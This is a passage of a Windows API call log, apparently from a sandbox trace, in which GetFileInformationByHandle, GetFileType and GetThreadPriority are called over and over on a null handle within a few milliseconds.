returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.337] GetFileType (hFile=0x0) returned 0x0 [0029.337] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.337] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.338] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.338] GetFileType (hFile=0x0) returned 0x0 [0029.338] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.339] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.339] GetFileType (hFile=0x0) returned 0x0 [0029.339] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.340] GetFileType (hFile=0x0) returned 0x0 [0029.340] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.340] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.341] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.341] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.341] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.342] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.342] GetFileType (hFile=0x0) returned 0x0 [0029.342] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority (hThread=0x0) returned 2147483647 [0029.343] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0029.343] GetFileType (hFile=0x0) returned 0x0 [0029.343] GetThreadPriority 